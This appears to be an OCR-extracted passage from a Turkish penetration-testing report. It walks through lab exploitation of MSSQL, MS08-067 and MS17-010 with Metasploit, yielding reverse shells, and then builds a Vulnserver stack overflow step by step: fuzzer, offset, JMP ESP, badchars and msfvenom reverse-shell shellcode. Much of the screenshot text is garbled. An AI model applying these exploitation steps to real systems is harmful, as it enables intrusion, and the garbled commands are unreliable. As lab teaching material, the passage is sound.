Sekil 3.108. Auxiliary modiilii ile hedef sistemde oturum elde etmek.

Sekil 3.108.’de goriildiigli gibi auxiliary modiilii calistiritlarak MSSQL servisi {izerinde bir
oturum elde edilmistir ve “Ipconfig” komutu hedef sistem iizerinde yiiriitiilmiistiir. MSSQL
servisi iizerinde komut yiiriitiilebildigi gibi direk bir nc oturumu almak ta miimkiindiir. Bu islem
icin bir¢ok post exploitation yontemi mevcuttur. Bu béliimde bu iglem i¢in metasploit iizerinde

bulunan ve Sekil 3.109.’da goriilen exploit modiilii kullanilmigtir,
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nsfh ot liaryl \ ac) » search *mssql” type:oxploft

Hatching Modules

Nane Diselosure Date Rank ek Description

explodt udndows /148 nsad 19900717 excallont Yes  NHGY9.025 Microsoft THS NDAC maadcs dll

DS ArbLtrary Renote Comnpnd Execurion

oxploft/uin nesgl/lyris Listmanagor weak pas JO05 1708 oxcellont Lyri {Nunoger NSDE Weok s& Passvort

axplodt/vindons/mesal/msiz 039 slonner J 1 goud WS02: 039 Microsoft SOL Server Resolutie
I Uyerflow

explodt windows /ussal /ns02 656 hello 2002-08 gopd NS02-056 Micrusott SO0 Server Hello Dye
1flow

axplodt/windows/mssql /ast9 DDA sp repluritetovarbin 200817 pood (p W500-004 Microsort SOL Server sp replur
Lotovarban Nemory Corrupt Lo

eaploLt/windows/mesql/ns00 004 sp replwritetovarbin suld 2000 )32 fxcallient Yos H500-004 Microsoft SOL Server sp replur
totovarbin Merory Corrupt on via SO0 Tnjectfon

explolt/win nssql/mssal clr payload 190401 excellent Hicrosoft SOL Server CLr Storeo Proced
re Poylood Fat on )

explott/windows/nssql/ossal LEARC ril el 2000 Qreat Hicrosoft SOL Server Database Link Cra
11hg Cot utiof

sploft/uindoe 0530 ST lernsort 500 Servel Payload Execut Loy

ot/ windows/nssal /nssal payload sql 000 0% 30 0 Microsoft SOL Seryer Payload Executinn

via S0U Injection

Sekil 3.109. Mssql payload exploit modiili.

Buradaki exploit modiilii hedef sistem {izerine bir dosya koyup ¢alistirmay1 amaglamaktadir. Bu
exploit araciligi ile hedef sistem iizerinden bir ters baglanti saglanabilmektedir. Cok yiiksek
giivenlik seviyeli MSSQL servisleri iizerinde bu exploit modiilii basarili bir sekilde
calismamaktadir. Bu durumda izlenebilecek post exploitation yollar1 daha ileriki senaryolarda

uygulamalarla gerceklestirilmistir.

USERNAME

USE WINDONS AUTIENT

Sekil 3.110. Exploit modiilii ve opsiyonlart.

Sekil 3.110.’da goriilen RHOSTS, RPORT, PASSWORD, SRVHOST, payload opsiyon
bilgileri Sekil 3.111.’de gortildiigii gibi ayarlanmustir.
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oI5 exploit( ) > 351 ANOSTS 10.0.9.4
SIS «> 10.0.0.0

ExXpLoLt (ud | . : ! APORT 1433

T PASSWORD Passwarnlil
» Passworni?
pals exploit(wl ) > s&t SAVHUSY 14.0.8.47
RVYHUST «» 1B.H 0 4]
S5 explodt(wl s&l payload windows/shell

» Windows/she i1

«> 10 N A 4)

5 explodtl(

Sekil 3.111. Exploit modiilii opsiyon ayarlari.

Opsiyon ayarlart gergeklestirildikten sonra “run” komutu ile exploit komutu calistirilmistir ve

hedef sistemde Sekil 3.112.’de goriildiigii gibi bir komut satir1 elde edilmistir.

) o 10.0.0.6
(10 0.8, 47:4444 » 10.0.0.6:40160) at

Ethernet adapter Etherneth

Connect DNS Sufti

b:11e6:-627h-€812%12

BE7-53CL -4DFA-ADZ8-L5ADG 7 4B009BE

Medis disconnected

Sekil 3.112. Hedef sistem iizerinde komut elde edilmesi.

3.2.4. Bilinen microsoft zafiyetleri

Bu boliimde Microsoft isletim sistemlerinin farkli versiyonlarinda yer alan ve yaygin olarak
goriilen, Sekil 3.113.deki MS08-067, MS17 010 ve MS17 010 PSEXEC zafiyetleri

uygulamali olarak somiiriilmiistiir.
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Microsoft Zafiyetier

MS08-(n 7

MSE17. 010
MS17. 010, BEEXEC

Sekil 3.113. Uygulamas1 yapilan microsoft zafiyetleri.

MSO08-067 zafiyeti

Yaygin olarak goriilen bir zafiyet olan MS08-067 zafiyetine giiniimiizde de yapilan pentestler
esnasinda rastlanmaktadir. MS08-067 zafiyeti Windows XP, Windows 2003 Server ve alti
isletim sistemlerinde bulunmaktadir. Bu zafiyet kullanilarak hedef sistem {izerinde administrator
yetkileriyle bir ters baglanti saglamak miimkiindiir. MS08-067 zafiyetiyle ilgili olan port 445
portudur ve Sekil 3.114.’de gosterilmektedir. Bu zafiyet smb servisi lizerine yazilmig bir exploit

modili ile somurilebilmektedir.

Sekil 3.114. Windows XP cihazi lizerindeki 445 portu.

445 Portu iizerinde somiirii yapmak i¢in kullanilacak exploit modiiliinii bulmak amaciyla hem
metasploit framework aract hem de nmap tiizerindeki bir script kullanilabilmektedir. Nmap
aracinin zafiyet taramak icin ya da cesitli bir takim islemler icin baz1 scriptleri mevcuttur. fgili

scriptlere Sekil 3.115.’de goriildiigii gibi “grep” arama komutuyla ulasmak miimkiindiir.
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usr/sharg/nasp/scripts/
¥ s grep “msbf B67
ls grep “ns0B”

snb-yuln-nebB . B57 nse

Sekil 3.115. Nmap MS08-067 zafiyet scripti.

“smb-vuln-ms08-067.nse” scripti kullanilarak hedef sistem {izerinde MS08-067 zafiyetini
taramak miimkiindlir. Bu iglem Sekil 3.116.°da gorildigii gibi nmap aract ile

gergeklestirilmistir.

Starting N F.TO ( hrtps://nna
for 10.8.0.2

§ up (0.00028< latency)

STATE SER
4 .‘l.[. Oper Wit
HAC Address: 00:-0C-2

Host script results

fcrosoft Mindows system yulnerable ti
State: YULN LE
s CVECYE. 2008
'VI’.‘ aerve!
Vista Lold

ode via a Craf

Disclosure date: 2008
References
htrps:// \
https://techn

Nmop done: 1 1P address (] host ug

Sekil 3.116. Hedef sistem iizerinde ilgili zafiyeti arama.

Windows XP cihazinin MS08-067 zafiyetine karsi savunmasiz halde oldugu 445 numarali port
tizerinde calisan microsoft-ds servisinin agik durumda olmasindan ve “Host script results”
kisminda “smb-vuln-ms08-067” zafiyetini bulundurmasindan anlagilmaktadir. Bu zafiyetin

sOmiiriilmesi i¢in metasploit {izerinde “ms08 067 netapi” isimli bir exploit modiilii mevcuttur.
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I3 > usk explolt/windows/snb/nsB6 D67 netapl
oxplorti L ¢ f Tapl) * pptions

fodule options (exploit/windows/sab/asB8 NG7 netapt)
Nang Lurrent Setting lequired fescription

RHOSTS Yes he torget aodress range or CIOR zoentifior
| s The SMB service part (TC

SHBPIPE BRONSER Yes The pipe none to use (BROWSER, SRWSYC)

"!‘1‘7‘-' targer
Id Noge

0 Autonatl

nsfS explotr(

Sekil 3.117. MS08-067 zafiyeti exploit modiilii ve opsiyonlari.

Sekil 3.117.’de goriildiigii gibi MS08-067 zafiyeti igin kullanilan exploitin RHOSTS, RPORT
ve SMBPIPE gibi opsiyonlar1 mevcuttur. ilgili opsiyonlarin ayarlanmasi Sekil 3.118.’de
gorildigi gibidir.

Al AHOSTS

sat APOAT 445

s¢L payload windows/unell/raverse ot

windowus/shell /reyarse

Mt LHDSET &tifl

ST «» pthh
Sekil 3.118. Exploit modiilii opsiyon ayarlama.
Opsiyon gereksinimleri ayarlandiktan sonra “run” komutu ile exploit modiilii calistirilarak hedef

sistem tizerinde Sekil 3.119.’da goriildiigli gibi administrator yetkileri ile bir shell oturumu elde

edilmistir.
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ooth Netwnrk Connection

Sekil 3.119. Windows XP tizerinde oturum eclde etme.

MS17 010 zafiyeti

MS17 010 zafiyeti kullanim agisindan MS08-067 zafiyetine benzemekle birlikle daha {ist
seviyedeki sistemleri etkileyen bir zafiyettir. Bu zafiyet ilk kez tespit edildiginde Windows 2008
Server, Windows XP, Windows Vista, Windows 7 isletim sistemlerinde bulunmaktaydi. Fakat
daha sonra yapilan birkag giincelleme sonucunda bu etki alan1 Windows 10 isletim sistemlerine
kadar ytikseltildi. MS17 010 zafiyeti 445 numarali port iizerinde bulunan smb servisi lizerinde
yazilmis bir Buffer Over Flow zafiyetidir. Bir sistem iizerinde MS08-067 zafiyeti mevcutsa o
sistem tlizerinde MS17 010 zafiyeti de mevcuttur ve 445 numarali port lizerinde c¢alisan
microsoft-ds servisi lizerinde bulunmaktadir. Hedef sistem tizerinde 445 numarali portu kontrol

etmek icin Sekil 3.120.’de goriildiigii gibi nmap araci kullanilmistir.

SIATE SENVICE

f nieros

Sekil 3.120. Windows XP iizerindeki 445 numarali portu Nmap ile tarama islemi.
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Burada goriildiigii gibi hedef sistem iizerinde smb servisi calismaktadir. ilgili zafiyetin hedef
sistem {iizerindeki varligin1 dogrulamak i¢in Sekil 3.121.’de goriildiigli gibi “grep” komutuyla

nmap scriptleri i¢erisinde arama iglemi yapilmustir.

' d Jusr/eahare/mmap/scripnts/

g 1s |

smb-vuio-mel!-018, 158

|

Sekil 3.121. Nmap MS17 010 zafiyeti scripti.

Arama sonucu bulunan “smb-vuln-ms17-010.nse” scriptinin hedef sistem lizerinde mevcut olup

olmadigini kontrol etmek amaciyla nmap araci kullanilmstir.

[ 3 & nnap --scrdpt sabovulnopsi7 D10, nse 10:0.0.20 pdds
Starting Nmop 1.70 ( Wttps://rmap.org ) at 2009-05-17 17:40 EY
can fepart for 10.0.0.20
up (6 0Bb4ds latency)

SERVICE
Cp open  picrosoft-us
AL Address: OB-BC:20:78-9% B (VMvare

Host script results
I-010:
VULNERABLE
Renote Code Executlon vulperability in Microsoft EMOG] servers (asl7-010)

foctor: HIGH
cal renote Code exocurion Yulnerability éxists In Microsoft SMEvI

2 (psi/-010)

10gs  technot microsoft . con/asrc/2017/85/12/custorer-guidonce  for-wanmacrypt-attacks/

chnet, nicr con [ty /nsi7-010. aspx
https ve mitra.org/cot-bin P et /namesLYE-2017-D145

Nnap done: 1 [P address (1 host up) scanned in 30.01 secopds

Sekil 3.122. Hedef sistem iizerinde ilgili zafiyeti arama.

Sekil 3.122.”de goriildiigii gibi nmap araciyla yapilan tarama sonucunda hedef sistem Windows
XP cihazinin “Host script results” kisminin altinda yazan bilgilere gore MS17 010 zafiyetine

kars1 savunmasiz halde oldugu goriilmektedir.

MS17 010 zafiyetini somiirmek i¢in metasploit iizerinde “smb_ms17 010" isimli bir

auxiliary modulii mevcuttur. Bu auxiliary moduliiniin kullanimi Sekil 3.123.’de goriildigii

gibidir.
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suxtliary/scanner/snh/sab nsil

Lliary(
Module optlons (auxiliary/scannér/sub/sn
Hane Currpnt Serting Required Description

CHECK ARCH  True no Check for architecture on yulnorablo host
CHECK DOMY Lrue no Check for DOUR R on yulnerable host
CHECK PIPE false 0 Check far hamne w on Yulnetable hosts
NAMED PEPES  Jusr/share/netasplodt-f | /Naned_plpes tx e List of npaned to check

L The targe! ¢ L ange or CIDR sdentifier

o use for authentication
Cified Lserpane
¢ 1cote as
THREADS 1 Y he hef of ent threads

s fS auxiliar)

Sekil 3.123. lgili zafiyeti hedef sistem iizerinde taramak icin kullanilan auxiliary modiilii.

“Auxiliary/scanner/smb/smb_ms17 010" modiiliiniin opsiyon ayarlar1 gergeklestirildikten sonra
“run” komutuyla auxiliary modiiliiniin kullanilmasi islemi gerceklestirilmistir. Ayn1 zamanda
MS17 010 zafiyetini sdmiirmek i¢in metasploit framework {izerinde bir exploit modiilii de
mevecuttur. lgili exploit modiilii bu zafiyeti somiirerek hedef sistemde bir oturum alana kadar
sistemi yeniden baglatabilmektedir ve bu durum islemin gerceklestirilmesindeki zamani

arttirmaktadir.

» Use explolt/windows

5 exploit(
Module options (explolit/uir
Hane Current

i3 range ar CIOR ldentifie

Explott target

Id Nose

4] Mindowy

Sekil 3.124. Ilgili zafiyeti sémiiren exploit modiilii ve opsiyonlari.

Sekil 3.124.’de goriillen MS17 010 zafiyetini somiirmek igin kullanilan exploit modiiliiniin

opsiyon ayarlar1 Sekil 3.125.’de goriildiigii gibidir.
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pofa explolt{wingd t 17 01 | > 101 RHOSTS 108.9.0.20

T VERITY ARCH false
VERLFY MEH »
s (5 exploltfwir | | «» 3001 VERTIFY TARGET fols
VERIFY TARGET

xploft]

o1 pavioed generi hall royerse tep

Sekil 3.125. Exploit modiilii opsiyon ayarlari.

Exploit modiilii opsiyon ayarlar1 gerceklestirildikten sonra “run” komutuyla exploit modiilii

calistirilmis ve hedef sistem tizerinde bir ters baglanti saglanarak shell oturumu elde edilmistir.

MSI17 010 _PSEXEC zafiyeti

MS17 010 PSEXEC zafiyeti MS17 010 zafiyetinin gelistirilmis versiyonudur ve Windows
10’a kadar tiim isgletim sistemleri {izerinde bulunmaktadir. Bu zafiyeti somiirecek exploitin
kullanim1 i¢in bir SMBUser bilgisi gereklidir. Ciinkii Windows 2008 Server igletim sistemi
tizerindeki isletim sistemlerinde herhangi bir zafiyetin dogrulanmasi icin bir SMBUser bilgisi
kullanilmaktadir. Bu kullanici bilgisi herhangi bir Domain kullanicisi, makinedeki herhangi bir
kullanict veya makinede acik olarak birakilan guest kullanicilar1 olabilmektedir. Bu boliimde
hedef sistem olarak Windows 2012 Server isletim sistemi kullanilmistir. Daha 6nce kullanilan
nmap scriptleri zafiyet dogrulama amaciyla yapilan islemler bu isletim sistemi {lizerinde tam
olarak dogru sonug vermeyecektir. Bu nedenle MS17 010 PSEXEC zafiyetinin hedef sistemde
dogrulanmasi ve somiiriilmesi i¢in bir SMBUser bilgisi elde edilmelidir. Bu boliimde SMBUser
olarak guest kullanicisinin oldugu varsayilmistir. SMBUser kullanici bilgisi elde etme islemleri

bu boliimden sonra olan senaryolarda uygulanmustir.

ser SMBUSER Guest

> se1 RHOSTS 10.0.0.8

Sekil 3.126. Hedef sistem iizerinde ilgili zafiyet taramasi.
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Sekil 3.126.’da hedef sistem iizerinde auxiliary modiilii ile ilgili zafiyetin taranmasi igin
SMBUSER bilgisi “guest” olarak ayarlanmistir. Tarama sonucuna gére MS17 010 psexec
zafiyetine karst Windows Server 2012 isletim sisteminin savunmasiz halde oldugu bilgisi elde
edilmistir. Bu zafiyetin sdmiiriilmesi i¢in metasploit iizerinde bulunan Sekil 3.127.’de goriilen

exploit modiilii kullanilmustir.

sxplolt/uindows/snb/asl? D10 psexec

wule options (expleoit/vwindovs/sab/ns]/
Current Setting

false L
to try to

op Just/share/netasploft-Trus
arget address ronge or CID}

't port
cription to to be use

play nase
0
¢l To, can be an
e folder share
e Far auther

The password Tor the specifien userrs

The username o autheénticate as

SMBUSER Guest

S exploft{vine b/nel7 010 paexec) .61 RHOST 10.0.0.8
«> 10.0.0 R

5 explolt(uinde wel? 0 press > sel pavload generic/shell reverse

poayloag =» generic/shell reys

pars exploliti LHOST 1D.0.0.47

LHOST == 16.0. 6 4)

Sekil 3.128. Exploit modiilii opsiyon ayarlari.

“Exploit/wondows/smb/ms17 010 psexex” Exploitinin opsiyon ayarlar1 Sekil 3.128.’de
goriildigi gibi gerceklestirildikten sonra “run” komutuyla exploit modiilii calistirilmis ve hedef

sistem iizerinde bir ters baglanti saglanarak shell oturumu elde edilmistir.

3.2.5. Buffer over flow zafiyetleri ve gelistirilmesi

Stack based over flow zafiyetleri eski bir zafiyet olmasina ragmen giiniimiizde hala giincelligini
korumaktadir. Bu bolimde stack based over flow somiiriileri sekil 3.129.’da goriildiigli gibi

planlanarak uygulanmistir.
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Sekil 3.129. Buffer over flow zafiyeti somiirii agamalari.

Buffer over flow zafiyetlerini somiirii islemlerinde debugger olarak Immunity Debugger, exploit
yazmak i¢in Vuln Server ve kali ile windows arasindaki iletisimi kurmak icin Putty araglar

kullanilmustir.

Crash noktasi tespiti - fuzzer script

Bu boliimde vuln server iizerinde bir crash point yakalama islemi uygulanmistir. Bu islem
esnasinda siirekli Kali ve Windows cihazlar1 arasinda pencere degistirmeyi dnlemek amaciyla
putty aract kullanilmistir. Windows iizerinde kurulu olan putty iizerinden ssh ile Kali Linux

cihazina baglanilmistir ve tek bir ekran {izerinde ¢aligma olanagi saglanmustir.



152

E Pnliy Confagurstion

Ea= smeer tor pas P 177 smemt

Lospws - S — o *e ——1
srena
BAAM Wae (e BT acichane Toe
ot - _' ~
Bt 1S Tse R
foutos= Zrrvem t= g
Cxt = - CT Foge = =W TN
~==swmz= §

g urizes

l==as - Serwy = Vi
= Se——
Las | C v
Frows il
| e e
g
St
—— e el
R Y S S M SRAT UL
s | B O | l G | —

Sekil 3.130. Putty ile root olarak giris yapma 1.
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Sekil 3.131. Putty ile root olarak giris yapma 2.

Sekil 3.130. ve Sekil 3.131.’de goriildiigii gibi Kali makinesi ile Windows XP arasinda putty ile
bir ssh baglantisi saglandiktan sonra Windows iizerinde kurulu olan vuln server uygulamasi

baslatilmistir.
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Sekil 3.132. Vuln server.

Sekil 3.132.°de baglatilan vuln server uygulamasimin bir kullanici baglantis1 bekledigi
goriilmektedir. Hangi portun dinlendigini ve port durumlarini 6grenebilmek i¢in Kali Linux
cihazi lizerinden nmap ile hedef sistem olan Windows fizerinde bir tarama iglemi

gercgeklestirilmistir.

Sekil 3.133. Windows XP iizerindeki port durumlari.

Sekil 3.133.’de 9999 numarali portun agik oldugu goriilmektedir ve vuln server Sekil 3.134.’de
goriildiigi gibi nmap araci iizerinden bir baglanti yakalamigtir. Vuln server bir baglanti
yakaladigima gore ilgili uygulamanin 9999 numarali port {izerinde ¢alistigi sonucu
cikarilmaktadir. Vulnserver uygulamasina 9999 numarali port {lizerinden baglanti

saglanabilmektedir.
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Sekil 3.134. Vuln Server ile Nmap iizerinden baglanti yakalama.

Sekil 3.135. Vuln Server uygulama portu ve parametreleri.

Sekil 3.135.’de Vuln Server uygulamasina giris yapilmistir ve parametreleri listelenmistir. Bu
parametrelerden biri olan STAT ile “STAT —A” seklinde bir komut girildiginde bir karakterli A
stringi buffera gonderilir ve burada depolanir. Buffer {izerine depolayabileceginden daha fazla
bir karakter gonderildiginde buffer tasar ve uygulama bozularak kapanir. Buffer1 tagiran bu
noktaya crash point (tasma noktasi) denilmektedir. Crash point noktasi yukaridaki gorselde
goriinen parametrelerin herhangi biriyle saglanabilmektedir. Bunu tespit edebilmek igin stack

fuzzer adinda bir script yazilmistir.
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Sekil 3.136. Stack-Fuzzer.py.

Sekil 3.136.’da yazilmis script igerisinde string adinda bir degisken tanimlanmistir ve string
degiskeninin tuttugu deger bir karakter uzunlugundaki A karakteridir. String degerinin uzunlugu
10,000 degerinden kiiciik oldugu siirece while dongiisii igerisine girmektedir. While dongiisii
icerisinde ise bir ip’nin 9999 numarali portuna baglanarak bir parametrenin yanina string’i
géndermektedir. Ornegin ilk while déngiisiiniin igerisine girdiginde Buffer iizerine TRUN.A
karakterini gondermektedir. Daha sonra ilgili string daha 6nceden 200 olarak belirlemis i
degiskeni ile toplanmaktadir. Karakter dongiiye ikinci girisinde “TRUN.200” tane A karakteri
olarak girmektedir. Bu sekilde karakter uzunlugu artarak buffer’t tasirana kadar veri

gondermeye devam edecektir.
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Sekil 3.137. Crash point.

Sekil 3.137.’de goriildiigii gibi stack-fuzzer.py scripti calistirildiginda karakter uzunlugu
2200’lere ulastiginda buffer tasmis vuln server hata vermistir. Burada crash point degeri 2200

olarak elde edilmistir.

Arka plan ilk bakis

Crash noktasi tespiti boltimiinde bir crash point elde edilmistir. Bu boliimde arka planda yer

alan islemler Immunity Debugger araciligi ile incelenmistir.
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Sekil 3.138. Immunity debugger.
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Immunity Debugger ara ylizii Sekil 3.138.’de goriildigi gibidir. Registerlar sag tarafta, adresler
ve dumplar sol tarafta, kodlar da sol yukarda yer almaktadir. Vuln server uygulamasi Immunity

Debugger iizerinden attach secenegi secilerek agilabilmektedir.
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Sekil 3.139. Vuln Server uygulamasinin Immunity Debugger iizerinde agilmasi.
Sekil 3.139.da Immunity Debugger iizerinde vuln server uygulamasi ¢alistirilmistir. Stack-

Fuzzer.py script’i Kali Linux {izerinde ¢alistirildiginda 2200 karakter uzunlugunda vuln serverin

hata verdigi goriilmektedir.
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Sekil 3.140. Buffer’in Tasmasi ve Vuln Server’in kapanmas.



158

Sekil 3.140.’da goriildiigii vuln server kapatildiginda EIP Register degeri 41414141 degeri
olarak goriilmektedir. Bu deger A karakterinin ASCII kodlaridir. Yani EIP register A
karakteriyle doldu anlamina gelmektedir. Immunity Debugger iizerinde incelenmesi gereken iki
kritik register mevcuttur. Bunlardan biri verilen degeri alan ve depolayan ESP registert, ikincisi
ise calistirilacak yeri gosteren EIP registeridir. Burada EIP register1 kontrol edilerek ESP
register1 gosterilmistir. ESP register1 i¢ine de elle hazirlanmis bir shell code konulmustur. Bu
sayede ESP iizerinden caligtirilan bir shell code ile ters bir baglant1 saglanmistir. Ters baglanti

elde edildikten sonra bir exploit yazilarak somiirii islemi gerceklestirilmistir.

Sekil 3.141. ESP degerleri.

Sekil 3.141.’de ESP register1 iizerine gelip “Follow In Dump” segenegi secildiginde A
karakterlerinin ESP register iizerinde tutuldugu gorilmektedir. Burada odaklanilmasi gereken
nokta bu uygulamanin tam olarak kac¢ karakterde kirildiginin tespit edilmesidir. Bir sonraki

boliimde bu karakter sayisina 4 bit daha eklenerek EIP register1 kontrol edilmistir.

Offset degeri

Vuln server uygulamasinin kirildigir (crash) kesin string uzunlugu offset degeri olarak
adlandirilir. Bu boliimde offset degeri tespit edilerek EIP register kontrolii gergeklestirilmistir.
Bu islemi gerceklestirmek i¢in unique (benzersiz) bir string kullanilmistir. Unique string,
stringin her karakterinin bir birinden farkli oldugu bir string anlamina gelmektedir. Unique
stringi  olusturmak i¢in metasploit framework {izerinde bulunan pattern create araci

kullanilmgtir.
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Sekil 3.142. Pattern_create.rb araci.

Sekil 3.142.de goriilen arag ile 2400 karakter uzunlugunda unique bir string olusturulmustur.
Olusturulan bu string vuln server uygulamasi iizerine gonderilerek EIP registernin aldigi
degerler kontrol edilmistir. EIP register degerinin aldig1 string degeri, olusturulan unique string

icerisinde bulunarak, uygulamanin ¢alisma kirilma noktasi tespit edilmistir.

Sekil 3.143. Pattern_Create.db ile unique string olusturma.

Sekil 3.143.’de “pattern_create.rb” araci ile 2400 karakterde unique string olusturulmustur.
Olusturulan stringi windows iizerinde ¢alisan vuln servera gondermek i¢in netcat (nc) aract

kullanilmustir.
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Sekil 3.144. Unique String’i Vuln Server lizerine gonderme.

Sekil 3.144.’de netcat (nc) ile unique string vuln server uygulamasi iizerine gonderilmistir. IP
adresi windows isletim sisteminin IP adresidir ve 9999 numarali port numarast Windows
lizerinde c¢alisan vuln server uygulamasmin port numarasidir. Bu islem sonucunda Sekil
3.145.°de Immunity Debugger iizerinde vuln server uygulamasimin kirildigini (crash) gérmek
miimkiindiir. Immunity Debugger iizerinde durdurulmus vuln server uygulamasi Sekil 3.146.’da

goriilmektedir. Burada odaklanilmasi gereken EIP ve ESP register degerleridir.

Sekil 3.145. Immunity Debugger iizerinde crashlenmis Vuln Server uygulamasi.
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Sekil 3.146. Immunity Debugger ESP ve EIP Register degerleri.

Sekil 3.146.°da goriilen EIP register degerlerinin unique string igerisinde bulunmasi
gerekmektedir. Bu islem icin unique string icerisinde EIP register degerine taker taker aramak
yerine metasploit igerisinde bulunan Pattern offset.rb araci kullanilmustir. ilgili ara¢ ¢alisma

kirilma noktasi yani offset degerini kesin olarak vermektedir.

Sekil 3.147. Offset degeri.

Sekil 3.147.°de Pattern_offset.rb aracinin query parametresi kullanilarak EIP Register degeri
verilmistir ve Exact noktasi yani offset degeri 2006 olarak bulunmustur. Buradan Vuln Server
uygulamasimin 2006 karakter uzunlugunda bir string gonderildiginde kirilarak durduruldugu

sonucu ¢ikarilabilmektedir.

EIP Register kontrolii

Onceki boliimde offset degeri 2006 olarak bulunmustur. Bu béliimde ise offset degeri
kullanilarak EIP Register degerleri kontrol edilmistir. Bu islem i¢in vuln server iizerine 2006

karakter uzunlugunda bir string gonderilmistir. Daha sonra 4 karakter uzunlugunda farkli bir
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string daha gonderilmistir. 2006 karakterden sonra gonderilen 4 karakter EIP Register degeri
yerine set edilmistir. Fazladan 4 string karakteri gonderme islemi igin stack-fuzzer2.py

payload’1 kullanilmustir.

AU nano 1.4

Sekil 3.148. Stack-fuzzer2.py.

Sekil 3.148.’de goriilen payload galistirildiginda vuln server offset degeri 2006 karakterinin
lizerine 4 string karakteri olan B karakteri gonderilmektedir. Bunun sonucunda EIP Register

degeri 4 tane B’nin ASCII kodu olan 42424242 degerini almistir.

Sekil 3.149. EIP Register degeri.

Sekil 3.149.’da goriildiigi gibi Fuzzer-script2.py payload’ ¢alistiginda vuln server uygulamasi
bufferda kaynaklanan tagsma nedeniyle durdurulmustur ve EIP register degeri tasma noktasi olan

42424242 (B karakteri) degerini almustir.
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JMP ESP Instoroctor

Bu boliimde EIP register1 kullanilarak ESP register degeri incelenmistir. ESP register degerini
incelemek amaciyla vuln server uygulamasi tizerinde JMP ESP Instoroctor aranmistir. JMP ESP
Instoroctor arama islemini gergeklestirebilmek icin Immunity Debugger iizerine eklenti olarak
monascript eklenmistir. Mona.py dosyast Immunity Debugger PyCommands dosyasi igerisine

eklendikten sonra Immunity Debugger Uzerinden sistem iizerindeki modiillerin kontrolii

gerceklestirilmistir. Bu islem i¢in “mona modules” komutu kullanilmigtir,

Sekil 3.150. Immunity Debugger modulleri.

Sekil 3.150.’de goriilen modiillerden “SafeSEH” ve “ASLR” gibi arka planda koruma 6nlemleri
olmayan ve “x00” byte (null byte) ile baslamayan bir modiil gereklidir. Secilen modiil iizerinde
bir jmp esp intoroctor aranmustir. Bu instoroctorin output degerlerine ulagsmak i¢in metasploit

framework tlizerinde kullanilan “nasm_shell” araci kullanilmistir.

# fusr/share/metasploit-framework/tools/exploit/nasm shell.rh

Jmp esp

Sekil 3.151. Nasm_shell arac1 ile JMP ESP Instoroctor kodunu bulma.

Sekil 3.151.’de nasm_shell araci kullanilarak JMP Instoroctor kodu alinmustir. Secilen modiil
tizerinde FFE4 Instoroctorinin olup olmadigini bulmak i¢in ise Immunity Debugger mona
eklentisi kullamilmustir. Ilgili islem icin “!mona find -s “\xff\xe4’ —m essfunc.dll” komutu

kullanilmustir.
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Sekil 3.152. Mona find komutu ile Instoroctor arama iglemi sonucu.

Sekil 3.152.’de goriildiigii gibi FFE4 Instoroctorinin bulundugu adres sonuglari donmiistiir.
Doénen adreslerden birine tiklandiginda Sekil 3.153.’de oldugu gibi JMP ESP Instoroctor’min

mevcut oldugu goriilmektedir.
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Sekil 3.153. Modiil {izerinde bulunan JMP ESP Instroctor.

Bu boéliimde yapilan islemlerin amaci JMP ESP Instoroctor, EIP register degeri olarak
belirtildiginde her durumda ESP registerda bulunan komutlarin ¢alistirilmasini saglamasidir.
ESP degeri degistirildiginde exploit komutu c¢alismayacagindan bir ESP JMP komutu
aranmustir. Se¢ilen modiil lizerinde bulunan JMP ESP Instoroctor kopyalanarak exploit {izerine
komut satir1 olarak eklenmektedir. Bir sonraki bolimde bu Instoroctor kullanilarak badchars

kontrolleri islemi gerceklestirilmistir.

Badchars kontrolii

Bu boliimde wvuln server uygulamasi iizerinde bulunan badchars kontrolii islemleri
gerceklestirilmistir. ESP register1 doldugunda bozuntuya sebep olan karakterlere badchars
denilmektedir. Bu karakterlerin tespit edilebilmesi i¢cin vuln server programi iizerine tiim
karakterler gonderilmistir. Gonderildigi esnada ESP Register degeri kontrol edilmistir. Eger
uygulamanin diginda kalan bir karakter mevcutsa bu karakter badchars karakteri olarak

belirtilmektedir. ilgili islemler icin bir badchars.txt dosyasi olusturulmustur



165

Sekil 3.154. Badchars.txt dosyasi.

Sekil 3.154.°de goriilen Badchars.txt dosyasi icerisinde biitlin karakterler mevcuttur. Bu
karakterler hedef sistem lizerine gonderilerek hangi karakterlerin eksik oldugunun kontrolii

yapilmistir. Bu islem icin Sekil 3.155.’de goriilen stack-fuzzer3.py payload’t yazilmistir.

Sekil 3.155. Stack-fuzzer3.py payload.
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Sekil 3.156.’da goriilen stack-fuzzer3.py payload’1 ¢alistirildiginda Immunity Debugger iizerine
tim karakterler gonderilmistir. Immunity Debugger tlizerinden ESP register1 incelendiginde

degerler Sekil 3.155.’deki gibi goriilmektedir.

Sekil 3.156. ESP register degerleri.

Hex dump altindaki kisim payload ile gonderilen karakter degerleridir. Bu degerler teker teker
incelenerek 47 veya 46 gibi payload ile gonderilen degerlerin disinda ¢oziimlenmeyen bir deger

saptanirsa, gonderilen x47 veya x46 karakterleri badchars olarak isaretlenmektedir.

ShellCode Olusturma Islemi

Bu boliimde shellcode olusturma islemi gergeklestirilmistir. Bu islem i¢in metasploit framework
icerisinde bulunan msfvenom yazilimi kullanilmistir. Msfvenom yazilimi bir¢ok farkli dil ve
tipte her platform icin shellcode olusturmak amaciyla kullanilan bir yazilimdir. Msfvenom ile
exe formatinda ya da direk kod seklinde bir shellcode olusturmak miimkiindiir. Bu boliimde
msfvenom ile olusturulan shellcode kullanilarak stack-fuzzer4.py scripti olusturulmus ve bu
script ile hedef sistem tizerinde ters bir baglanti elde edilmistir. Msfvenom ile ilgili shellcode’u

olusturma iglemi Sekil 3.157.’de goriildiigi gibidir.
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Sekil 3.157. Msfvenom ile Shellcode olusturma.

Burada “/x00” (null byte) ile bitmeyen c¢ dosya tipinde 192.168.92.132 ip adresine sahip Kali
sistem iizerinde 443 portu iizerinde galisan ters bir baglanti elde etmek amaciyla calisan bir
shellcode olusturulmustur. Bu shellcode ile stack-fuzzerd.py payload’t olusturulacak ve bu
payload calistirilarak hedef sistem iizerinde ters bir baglanti elde edilecektir. Shellcode ile

olusturulan payload Sekil 3.158.’de goriildiigii gibidir.
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Sekil 3.158. Stack-fuzzer4.py payloadi.

Burada olusturulan shellcode ile bir stack-fuzzerd4.py payloadi yazilmistir. Bu kod igerisinde
daha 6nce belirlenmis ESP JMP Instoroctor degerinin iizerine shellcode’a gelene kadar herhangi
bir islem yapilmamasi i¢in /x90’ nop (no operation) instoroctorlar1 eklenmistir. Nc —lvp 443
